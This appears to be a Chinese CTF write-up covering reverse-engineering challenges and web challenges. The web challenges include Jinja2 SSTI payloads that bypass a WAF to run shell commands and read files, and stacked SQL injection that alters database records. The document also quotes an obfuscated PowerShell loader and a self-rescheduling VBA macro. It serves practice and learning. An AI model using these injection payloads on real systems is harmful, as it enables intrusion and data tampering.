          0xF1, 0x72, 0x23, 0x5F, 0x8E, 0x62, 0xF2, 0xD8, 0x94, 0xFC,
          0x4F, 0xAE, 0x82, 0xAF, 0x0A, 0x34, 0x44, 0x1B, 0x1E, 0x90,
          0x52, 0xE9],
         [0xF0, 0x1C, 0xA2, 0x92, 0xD3, 0x69, 0x97, 0xA9, 0x6E, 0x45,
          0xC2, 0x73, 0x14, 0x2A, 0x55, 0x49, 0xD3, 0xD7, 0x87, 0xCB,
          0x5C, 0xEB, 0x8B, 0x38, 0x6D, 0xD7, 0xED, 0xEE, 0xE3, 0x0D,
          0x07, 0x0C],
         [0x05, 0xAF, 0xB7, 0xE7, 0x94, 0x0A, 0x68, 0xA8, 0x75, 0xA2,
          0x8B, 0x74, 0x65, 0xBD, 0x8C, 0xE4, 0xE8, 0x6A, 0xF2, 0x9E,
          0x31, 0x48, 0x54, 0xA1, 0xCC, 0x36, 0x9A, 0x7D, 0x28, 0x1E,
          0x24, 0xF7],
         [0x92, 0xCE, 0x38, 0x64, 0x4D, 0x67, 0x35, 0x5F, 0x18, 0xC7,
          0x9C, 0x75, 0x16, 0xD0, 0xCB, 0xD3, 0x99, 0x01, 0x9D, 0x85,
          0x6E, 0xD5, 0x1D, 0xEA, 0x4F, 0x01, 0x93, 0x58, 0x3D, 0xCB,
          0x91, 0x32],
         [0xDF, 0x51, 0xED, 0x91, 0x06, 0x68, 0x1E, 0x96, 0xEF, 0x3C,
          0xCD, 0x76, 0x77, 0x7B, 0x0A, 0x5E, 0x3E, 0x9C, 0x80, 0xB0,
          0x63, 0xC2, 0x76, 0xA3, 0x36, 0xE8, 0xE8, 0x97, 0x9A, 0xE4,
          0xEE, 0x6D],
         [0xC4, 0xC8, 0xEE, 0xE6, 0xF7, 0xC5, 0x33, 0x7D, 0x5A, 0x59,
          0xCE, 0x77, 0x18, 0x66, 0xD1, 0x55, 0x1F, 0xCB, 0xF3, 0xFF,
          0xE0, 0xBF, 0x5F, 0x0C, 0x79, 0xFB, 0x81, 0xBA, 0xCF, 0x21,
          0xC3, 0x90],
         [0x99, 0x6B, 0x23, 0x5B, 0xD8, 0x46, 0x84, 0xFC, 0x11, 0x96,
          0x87, 0x78, 0x79, 0x49, 0x28, 0x00, 0xF4, 0xEE, 0xDE, 0x52,
          0xD5, 0xBC, 0x78, 0x05, 0x68, 0x1A, 0xEE, 0xE9, 0xB4, 0x62,
          0x40, 0x3B],
         [0x66, 0xAA, 0x34, 0xC8, 0xA1, 0xC3, 0xE1, 0xF3, 0xD4, 0xBB,
          0xC8, 0x79, 0x8A, 0x7C, 0x97, 0x2F, 0xE5, 0xE5, 0xB9, 0x99,
          0x22, 0x29, 0x41, 0x4E, 0x3B, 0x05, 0xA7, 0x14, 0x29, 0x8F,
          0xCD, 0xE6],
         [0x43, 0x5D, 0x09, 0xA5, 0xBA, 0xD4, 0xAA, 0xBA, 0x7B, 0xE0,
          0xF9, 0x7A, 0x7B, 0x87, 0xC6, 0xDA, 0xBA, 0xF0, 0xDC, 0xA4,
          0x67, 0xA6, 0xCA, 0x77, 0x42, 0xCC, 0x9C, 0x63, 0x56, 0x78,
          0x8A, 0x61],  # z
         [0xF8, 0x94, 0xBA, 0xCA, 0xDB, 0xE1, 0x6F, 0x41, 0x06, 0x5D,
          0x4A, 0x7B, 0x8C, 0x72, 0x0D, 0xC1, 0x7B, 0x0F, 0xEF, 0x53,
          0x74, 0x43, 0x73, 0x80, 0x65, 0x4F, 0x85, 0xF6, 0x1B, 0x15,
          0x5F, 0xE4],
         [0xDA, 0x66, 0x30, 0x9C, 0x55, 0x5F, 0xAD, 0xD7, 0x90, 0x3F,
          0x24, 0x7D, 0xCE, 0x98, 0x23, 0x0B, 0x61, 0xF9, 0xE5, 0x4D,
          0xE6, 0xCD, 0x45, 0xB2, 0xA7, 0xB9, 0xCB, 0x20, 0xB5, 0x13,
          0xE9, 0xCA],
         [0x87, 0x09, 0xA5, 0x29, 0x6E, 0xA0, 0x16, 0x2E, 0xE7, 0x14,
          0x55, 0x7E, 0x8F, 0x23, 0x22, 0x36, 0x06, 0x14, 0xC8, 0xB8,
          0xDB, 0x1A, 0x9E, 0x4B, 0x2E, 0xA0, 0x60, 0xDF, 0xF2, 0xEC,
          0x46, 0x25],
         [0x34, 0xB8, 0xFE, 0x96, 0xC7, 0xF5, 0x23, 0xCD, 0x2A, 0xE9,
          0x7E, 0x27, 0xA8, 0x76, 0xA1, 0x05, 0xCF, 0xDB, 0xA3, 0x0F,
          0xD0, 0x2F, 0x8F, 0xBC, 0x69, 0xEB, 0x11, 0xAA, 0x3F, 0xB1,
          0x73, 0x00],
         [0x8F, 0x01, 0x3D, 0x01, 0x16, 0x58, 0xCE, 0x66, 0xFF, 0x4C,
          0xBD, 0x26, 0x87, 0x8B, 0x9A, 0x4E, 0xEE, 0x2C, 0xF0, 0xC0,
          0xD3, 0x32, 0xA6, 0x53, 0xE6, 0x58, 0x78, 0x87, 0x8A, 0xB4,
          0x5E, 0x9D],
         ]

for i in range(len(test)):
    print(test[i] * 32)

flag = [0] * 32
for i in range(len(test)):
    for k in range(len(enc)):
        if enc[k] == test_[i][k]:
            flag[k] = ord(test[i])
for i in range(len(flag)):
    print(chr(flag[i]), end='')  # flag{umm_I_ an't_calc_1t_@t_all}

flag{umm_I_ an't_calc_1t_@t_all} # 应该是数据问题,检查了一下,缺失字符

猜测 flag{umm_I_can't_calc_1t_@t_all} 正确!!!

【这里应该是patch 数据时,未断点正确造成,数据轻微有误!!!】

funnyOTL

main 函数

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    srand(int(time(0))&0xF0000000); // 每次运行main程序的时候产生的随机值都一样

    for (int i = 0; i < 24; i++) {
        printf("%d ", rand() % 24);
    }
    printf("\n");
    return 0;
}

// 每次生成序列相同!
// rand()*2%24
//4 6 4 2 6 10 10 18 4 8 18 0 4 10 18 2 18 18 18 16 8 22 22 4

//发现自己的随机序列不对,需要动态调试获得,程序生成的随机序列。

0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4

一些c++ 的语法函数知识。

# ~string(); 析构函数

# std::replace() 函数的语法

    std::replace(
        iterator start,
        iterator end,
        const T& old_value,
        const T& new_value);
参数:
iterator start, iterator end- 这些是指向容器中开始和结束位置的迭代器,我们必须在那里运行替换操作。
old_value- 是要搜索并替换为新值的值。
new_value- 要分配的值而不是 old_value。

(173条消息) Reverse_iterator的使用_一休求索的博客-CSDN博客

这是结合动态调试,获得的程序核心加密流程:

for i in range(0, 24, 2):
    posCur=i
    posLogMe=order[i//2]

    string_3[0] = enc[posCur]
    string_3[1] = enc[posCur + 1]

    string_4[0] = enc[posLogMe]
    string_4[1] = enc[posLogMe + 1]

    string_3[1] = ~(string_3[1]^posLogMe) &0xff
    string_3[0] = string_3[0]^posLogMe&0xff

    enc[posCur] = string_4[0]
    enc[posCur + 1] = string_4[1]

    enc[posLogMe+1] = string_3[1]
    enc[posLogMe] = string_3[0]

对以上分析出的程序流程,做逆处理即可:【这里静态分析也是很明了的】

# -*- coding: UTF-8 -*-

enc = [0x4C, 0xAB, 0x78, 0x49, 0x68, 0x9D, 0x51, 0x79, 0x75, 0x5F,
       0x7D, 0xC5, 0x63, 0x52, 0x4C, 0xB4, 0x4F, 0x7B, 0x67, 0x61,
       0x6F, 0x6E, 0x6B, 0x5F]

print('flag{'+'x'*18+'}')  # flag{123456789012345678}

order = [0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4]  # 动态调试获得

string_3 = [0] * 2
string_4 = [0] * 2

for i in range(22, -2, -2):
    posCur=i
    posLogMe=order[i//2]

    string_3[1]= enc[posLogMe + 1]
    string_3[0] =enc[posLogMe]

    string_4[0] = enc[posCur]
    string_4[1] = enc[posCur + 1]

    string_3[1] = (~(string_3[1])&0xff) ^ posLogMe # 这里的处理需要注意
    string_3[0] = string_3[0]^posLogMe&0xff

    enc[posLogMe] = string_4[0]
    enc[posLogMe + 1] = string_4[1]

    enc[posCur+1] = string_3[1]
    enc[posCur] = string_3[0]

for i in range(len(enc)):
    print(chr(enc[i]), end='')  # }LTS_wonk_u_w0n_LTO{galf

print()
print('}LTS_wonk_u_w0n_LTO{galf'[::-1])

flag{OTL_n0w_u_know_STL}

Web

BabySSTI_One

<body bgcolor=#E1FFFF><br><p><b>
<center>Welcome to NewStarCTF, Dear CTFer
</center></b></p><br><hr><br>
<center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>


?name=<script>alert(1)</script>

出现弹窗!

?name={{2*8}}

Welcome to NewStarCTF, Dear 16

# 命令执行 ls
?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

Get Out!Hacker!


hint:  Flask SSTI is so easy to bypass waf


# 读源码payload
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}



# for i in ['a','1']
{{ i }}
# endfor

{% for i in ['a','1'] %}
{{ item }}
{% endfor %}

这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix
即
app.jinja_env.line_statement_prefix="#"

相关SSTI 模板注入 的资料:

(173条消息) 【SSTI模块注入】SSTI+Flask+Python(下):绕过过滤_黑色地带(崛起)的博客-CSDN博客_ssti模块

(173条消息) Flask SSTI注入学习_目标是技术宅的博客-CSDN博客

(173条消息) Flask-SSTI注入_0xActive的博客-CSDN博客_flask ssti注入

(173条消息) SSTI Bypass 学习 (Python3&jinja2_rdd_null的博客-CSDN博客

显然需要测试 waf 黑名单

?name={{"".__class__}}
Get Out!Hacker!

?name={{''[request.args.t1]}}?t1=__class__
Get Out!Hacker!

?name={{""["__c""lass__"]}}
正常,可以知道关键词被waf   

?name={{""["__ba""se__"]}}
正常

?name={{""["__base__"]}}
Get Out!Hacker!

显然需要把所有 .__key__ 替换为 ["__ba""se__"]

?name={# for c in []["__c""lass__"]["__ba""se__"]["__su""bclasses__"]() #}
正常

?name=%23 for c in []["__c""lass__"]["__ba""se__"]["__su""bcl""asses__"]() %23

Welcome to NewStarCTF, Dear # for c in []["__c""lass__"]["__ba""se__"]["__su""bcl""asses__"]() #

# catch_warnings 被过滤
?name=%23 if c["__na""me__"] == "sgninraw_hctac"[::-1]%23

# 读源码payload
?name=%23 for c in []["__c""lass__"]["__ba""se__"]["__su""bcl""asses__"]() %23
%23 if c["__na""me__"] == "sgninraw_hctac"[::-1]%23
{{ c["__i""nit__"]["__glo""bals__"]["__bui""ltins__"].open('app.py','r').read() }}
%23 endif %23
%23 endfor %23

?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

查看所有模块
?name={{[]["__c""lass__"]["__ba""se__"]["__subcl""asses__"]()}}

/?name=
{% for c in []["__c""lass__"]["__ba""se__"]["__subcl""asses__"]() %}
{% if c.__name__ == 'ca""tch_warnings' %}
  {% for b in c["__in""it__"].__globals__.values() %}
  {% if b["__c""lass__"]== {}["__c""lass__"] %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

经过一系列测试,发现waf 好多关键字!最终在舍友提示下,使用hackbar 自带的payload,实现rce

get flag

/?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ls').read()}}

app.py

?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ca""t app.py').read()}}

# 源代码
from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'CTFer')
    if not re.findall('class|base|init|mro|flag|cat|more|env', name):
        t = Template("

/?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ls /').read()}}

app
bin
boot
dev
etc
flag_in_here
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ca""t /fla""g_in_here').read()}}
flag{29170b66-27fa-4863-9b2e-28f0fbd698c1}

flag{29170b66-27fa-4863-9b2e-28f0fbd698c1}

强大的 hackbar

multiSQL

0x01 sql 注入 测试
username=1' or 1=1 #

火华 11 201 212

username=1' order by 5 # 无回显
username=1' order by 4 # 有回显 说明四列

username=-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata

同学你在干嘛  有过滤

借助hacker 上工具,简单测试,发现 select union 等被过滤

username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #
无回显

注释符,大小写,双写关键字都无法绕过

通用绕过(编码):
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #



cmd='-1\' union select 1,2,3,group_concat(schema_name) from information_schema.schemata #'

for i in range(len(cmd)):
    print('CHAR('+str(ord(cmd[i]))+')+',end='')

对绕过这些关键字,没啥思路。尝试堆叠注入!

0x02 尝试堆叠注入
# 尝试堆叠注入,发现可以
username=1';show databases;#

english
information_schema
mysql
performance_schema    

username=1';show tables;#
score

username=1';show columns from score;#

# 修改成绩
username=1';update score set listen=500 where username=火华--+

发现 update 被waf

username=1';CHAR(117)+CHAR(112)+CHAR(100)+CHAR(97)+CHAR(116)+CHAR(101) score set listen=500 where username=火华--+

无效
update过滤了

(173条消息) 详解MySQL数据库insert和update语句_wgcc的博客-CSDN博客_insert在数据库中是什么意思

发现 ,insert replace等 指令都可替代 update

username=1';insert into score values("火华",200,200,200);#

insert waf

username=1';replace into score values("火华",200,200,200);#
成功执行

但是,第一条数据不符合,需要排序,或者删除!!!

#低分删除即可:
username=1';delete from score where listen=11;#

成功后,查询分数得到flag

get flag

flag{Ju3t_use_mo2e_t2en_0ne_SQL}

Re

Hash

测试知道是 hash 算法 是 sha1()。直接爆破,得到flag。

#encoding=utf-8

import hashlib
import itertools

text=['A2F17ED1C6A8BC31769CDF654DF4B8A937042CB6','0CA8A2EDB0C1D34A432A5A4464E0D6ABD847C831','C359D69F3F08BB920F2C3B51133205533462093E','CC5C3FE6E7356A26A134CFF5633349F597C40A9D','4AC4BB3F27F245BA9178651AA5CDEDCBB2862E2A','A01E33F4DCDB6BA1AE9F34A97CF8F6DEEEDF1A8D','D3AF70912A8C1B22CFDECE071BA36BC4662B58FA','9395EAB195D25B676D7D07075D3838A9AC19DF21','FDB43C5EF76ECDA0C1661D6D199B5BFAC1DB538A','DA8E9997A010BE78B20108CE79FEC1FB9C63D8DC','809DA627F1AD01D65864C376E3179B62D9D74261','8F61EE21AC7579626934E0FFB6A62B3D4A82EEC4','E2A954758FDB61F869998E9788B7B7E48480B832','B8E3349B97532B27AA62B8718B68240179158144']

# print(hashlib.sha1('fla'.encode()).hexdigest())

for i in range(len(text)):
    print(len(text[i]))

modle = list(itertools.product(
    ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
     'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
     'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','{','}','_','!','@','|'], repeat=3))

i = -1
flag=''

for k in range(len(text)):
    while True:
        i += 1
        # print(modle[i])
        str = ''.join(modle[i])

        if hashlib.sha1(str.encode()).hexdigest() in text[k].lower():
            print('correct: ', str)
            # input()
            flag+=str
            break
        else:
            print('[-]:'+str)
    i=-1
print(flag)

flag{Easy_Hash_And_Y0u_Solve_1t_Quickly!!}

Exception

0x01 程序分析

(173条消息) 逆向程序分析:Windows的main(),启动函数分析_CodeBowl的博客-CSDN博客_windows编程的主函数

查看异常处理块!

;   __except(loc_4B18BC) // owned by 4B18A4
mov     esp, [ebp+ms_exc.old_esp]
mov     eax, [ebp+var_48]
xor     eax, 12345678h
mov     [ebp+var_48], eax
mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFF

# 触发异常后,将[ebp+var_48]^0x12345678

所以可以依据这个,直接生成出delta[] 数组,进行解密。

tmp=0x9E3779B9
while()
    delta+=tmp
    tmp=tmp^0x12345678&0xffffffff

【也可以动态调试获得,每组delta[]数据值】

0x02 解密

python 解密脚本

# encoding=utf-8

print('flag{'+'x' * 26+'}')

enc = [0xCE, 0x21, 0xE8, 0x88, 0x70, 0x9D, 0x00, 0x0B, 0x8F, 0xE6,
       0xB1, 0x91, 0x96, 0xEA, 0x31, 0x01, 0x7D, 0x9D, 0x20, 0xA3,
       0xFB, 0x7D, 0x18, 0xA9, 0xCA, 0xC5, 0x52, 0xC4, 0x53, 0x67,
       0x69, 0xA9]
enc1 = [0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753]

# sum=0
# tmp=0x9E3779B9
# for i in range(32):
#     sum+=tmp
#     tmp^=0x12345678
#     print(hex(sum&0xffffffff),end=',')

v9_enc=[0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627
    ,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256
    ,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D
    ,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC
    ,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0]

key = [1, 2, 3, 4]
print()
for k in range(0, 8, 2):
    v11 = enc1[k]
    v10 = enc1[k + 1]
    for i in range(32):
        v9=v9_enc[31-i]
        v10 -= (key[3] + (v11 >> 5)) ^ (v9 + v11) ^ (key[2] + 16 * v11)
        v10= v10&0xffffffff
        v11 -= (key[1] + (v10 >> 5)) ^ (v9 + v10) ^ (key[0] + 16 * v10)
        v11 = v11 & 0xffffffff
    enc1[k] = v11
    enc1[k + 1] = v10

for i in range(len(enc1)):
    print(hex(enc1[i]),end=',')


flag:

0x33433434,0x31463741,0x41443231,0x37454232,0x34463832,0x35433135,0x30443245,0x38353539,

cpp 解密脚本

#include <stdio.h>
#include <stdint.h>  

 uint32_t delta[]={0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627
    ,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256
    ,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D
    ,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC
    ,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0}; 

//加密函数
void encrypt (uint32_t* v, uint32_t* k,int round) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;           /* set up */
                                                  /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i < round; i++) {                       /* basic cycle start */
        sum = delta[i];
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k,int round) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;  /* set up */
                       /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<round; i++) {                         /* basic cycle start */
        sum = delta[round-1-i];
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}  

int main()
{  

    uint32_t v[] = { 0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753};
      uint32_t k[]={1,2,3,4};
      int n=sizeof(v)/sizeof(uint32_t);
      int round=32;

    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    printf("加密前原始数据:\n");
    for (int i=0;i<8;i++)
    {
        for (int j=0;j<4;j++)
        {
        printf("0x%x,",((v[i]>>j*8)&0xff));
         }
     } 

     for (int i=0;i<n/2;i++)
     {
            decrypt(&v[i*2], k,round);
     }
    printf("\n解密后的数据:\n");
    for (int i=0;i<8;i++)
    {
        for (int j=0;j<4;j++)
        {
        printf("%c",((v[i]>>j*8)&0xff));      // 327a6c4304ad5938eaf0efb6cc3e53dc   flag{327a6c4304ad5938eaf0efb6cc3e53dc}
         }
     } 

         for (int i=0;i<n/2;i++)
     {
             encrypt(&v[i*2], k ,round);
     } 

    printf("\n加密后的数据:\n");
     for (int i=0;i<8;i++)
    {
        for (int j=0;j<4;j++)
        {
        printf("0x%x,",((v[i]>>j*8)&0xff));
         }
     }

    return 0;
}  

flag{44C3A7F112DA2BE728F451C5E2D09558}

HelpMe

0x01 ps1 解析恢复xlsm

根据提示查阅到相关资料

(174条消息) 还原永恒之蓝下载器PS脚本混淆_FFE4的博客-CSDN博客

从ps1中截取下列数据

echo $(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAKxePWMA/31RT2+bMBS/8yksxAHUYCVI66RMm5TQdJq6LFXJdslycPGDeDU2wi9a0LTv3mdos2yHXZDfD//++UWoGnAompa9Z/HuRiBsCdlUlQPcxx8BU4+xsBDINiWy6Yxl0yyjzzzL5tksTBK+tV+NOnleAaU10sVJED1BT5Jf4Ge6efwBxFz2CLs9m10HXvVBGGkblq7FiWVvrllaABYAkl0k+hCZo9ZBZTsWR8pIOJHi9B17OacaSe11vLpK2C/vuhvnPd3dPZLn2OIfv+R3EC1Wxd8Ji94hNJxKHDuFPc+7vkVbd6I99HwBbi2MqEEOTH439POG47y2EggIV/kyHJF7IaUytc/xX+WXe15gP5/f3+XF2yCqlB7koqZvBR6+N32tKuQn7RqS973chfCnDb8lAtEfQMiF1v6xXRwOMiFtY2XKwbLzmX24vAPa6xn2GwNTSoHC3zjjfNsJ42gDza0yQi+1LZ/i0X7CphM2HvlnMDUeLn34jXKtdeCFvd+fkRad5tYgGGTpN6GPwM7WKfHt8Gi+ALX3+Tn9DYNn5mIx06oCAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()

得到如下:【显然就是核心加密逻辑了】

$timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
$key = New-Object Byte[] 16
Get-Random -Max 256 -SetSeed $timestamp >$null
for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}
$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.Mode = "ECB"
$AES.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$file = "$mypath\mygift.xlsm"
$bytes = [System.IO.File]::ReadAllBytes("$file")
$Encryptor = $AES.CreateEncryptor()
$encdata = $Encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$Encryptor.Dispose()
$AES.Dispose()
Set-Content -Value $encdata -Encoding Byte "$file.enc"

如上可以分析知道:

# AES 加密
# key 密钥随机生成
# ECB 模式
# 填充模式 PKCS7

# [byte](Get-Random -Max 256)
# Get-Random  获取一个随机数,或从集合中随机选择对象。

# powershell run
PS F:\> echo ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
1664626941

PS F:\> $timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
PS F:\> $key = New-Object Byte[] 16
PS F:\> Get-Random -Max 256 -SetSeed $timestamp >$null
PS F:\> for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}
PS F:\> echo $key
105
192
50
118
175
152
128
155
147
80
183
37
190
22
242
78

Get-Random (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

如上,key=[105,192,50,118,175,152,128,155,147,80,183,37,190,22,242,78]

AES 解密脚本

# encoding=utf-8

from Crypto.Cipher import AES

key = [105, 192, 50, 118, 175, 152, 128, 155, 147, 80, 183, 37, 190, 22, 242, 78]
key_b=bytes(key)

with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm.enc", 'rb') as f:
    chipher = f.read()

# iv = b'\x00' * 8
print(chipher)

aes = AES.new(key_b, AES.MODE_ECB)

data = aes.decrypt(chipher)
print(data)

# with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm",'wb') as f:
#     f.write(data)
0x02 Excel 宏处理

获得.xlsm后打开,发现总有弹窗!

Excel如何打开宏,Excel宏在哪里-百度经验 (baidu.com)

找到 excel 宏,发现有东西

Sub hack()

    MsgBox "You have to pay me a lot of money now!"
    Dim shell
    Dim talk
    Set talk = CreateObject("SAPI.SpVoice")
    talk.Rate = -3
    talk.Volume = 100
    talk.Speak "You have to pay me a lot of money now"

    Dim a, b, x, arr
    a = 20
    b = 22
    x = 21

    arr = Array(2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8, 22, 17, 4)

    Dim i

    For i = 1 To 32
    If Cells(1, i).Value = "*" Then Exit For
    Cells(2, arr(i - 1) + 1).Value = Cells(1, i).Value Xor x
    x = (a * x + b) Mod 255
    Cells(1, i).Value = "*"
    Next
    talk.Speak "I have hacked you"
    Set sh = CreateObject("Wscript.Shell")
    sh.Run ("%comspec% /k tree"), 3, True
    ActiveWorkbook.Close
    alertTime = Now + TimeValue("00:00:30")
    Application.OnTime alertTime, "hack"

End Sub

62    163 115 241 149 89  216 45  20  138 220 8   75  42  135 93  161 60  115 215 169 66  32  132 141 21  184 95  159 3   121 91
0x03 py解密

对上述流程进行解密:

# encoding=utf-8

a = 20
b = 22
x = 21

arr =[2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8,
            22, 17, 4]
enc=[62,163,115,241,149,89,216,45,20,138,220,8,75,42,135,93,161,60,115,215,169,66,32,132,141,21,184,95,159,3,121,91]

flag=''

for i in range(len(enc)):
    flag+=chr(enc[arr[i]]^x)
    x = (a * x + b)%255

print(flag)

flag{This_is_@_begin_about@hack}

哈德兔的口

0x01 程序分析

jadx 逆向APK 文件

存在 X86 架构 .so 文件,那么程序是可以动态调试的。

先导出.so 文件进行静态分析

cheak 将输入进行 rc4 加密,然后与密文比较。密钥可以动态调试,decode()获得。

0x02 动态调试 .so文件

/* loaded from: classes.dex */
public class MainActivity extends c {
    // rc4 加密 密钥key=Hikari#a0344y3y#19301211

    /* renamed from: s */
    String f3430s = "|%tJ|%pK~%t;6%}d}s\"K|vt;2)y92a=x";

    static {
        System.loadLibrary("check");
    }

    public static /* synthetic */ void J(MainActivity mainActivity, EditText editText, View view) {
        mainActivity.K(editText, view);
    }

    /* JADX INFO: Access modifiers changed from: private */
    public /* synthetic */ void K(EditText editText, View view) {
        String obj = editText.getText().toString();
        try { // android.util.Base64
            Class<?> cls = Class.forName(decode("}s+=4aur{>IA5w&F+v=G4>#F*\"ll")); // android.util.Base64
            obj = new String((byte[]) cls.getMethod(decode("+(#G*ad="), byte[].class, Integer.TYPE).invoke(cls, obj.getBytes(StandardCharsets.UTF_8), 0)); // encode
        } catch (ClassNotFoundException e2) {
            e2.printStackTrace();
        } catch (IllegalAccessException e3) {
            e = e3;
            e.printStackTrace();
        } catch (NoSuchMethodException e4) {
            e4.printStackTrace();
        } catch (InvocationTargetException e5) {
            e = e5;
            e.printStackTrace();
        }
        Toast.makeText(this, decode(check(obj, decode(this.f3430s)) ? "x)#;+)yJ3_|l" : "{>#b4b}94rqJ5(hdxvE;+(9;xv'K*('D4rpD+adG4=4l"), 1).show();
    }

    public native boolean check(String str, String str2);

    public native String decode(String str);

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.e, androidx.activity.ComponentActivity, u.d, android.app.Activity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        final EditText editText = (EditText) findViewById(R.id.et_passwd);
        ((Button) findViewById(R.id.btn_check)).setOnClickListener(new View.OnClickListener() { // from class: o1.a
            @Override // android.view.View.OnClickListener
            public final void onClick(View view) {
                MainActivity.J(MainActivity.this, editText, view);
            }
        });
    }
}

通过动态调试知道,程序获取输入后。将输入base64编码,然后RC4加密。

这里有个细节,rc4 算法被魔改了两个点

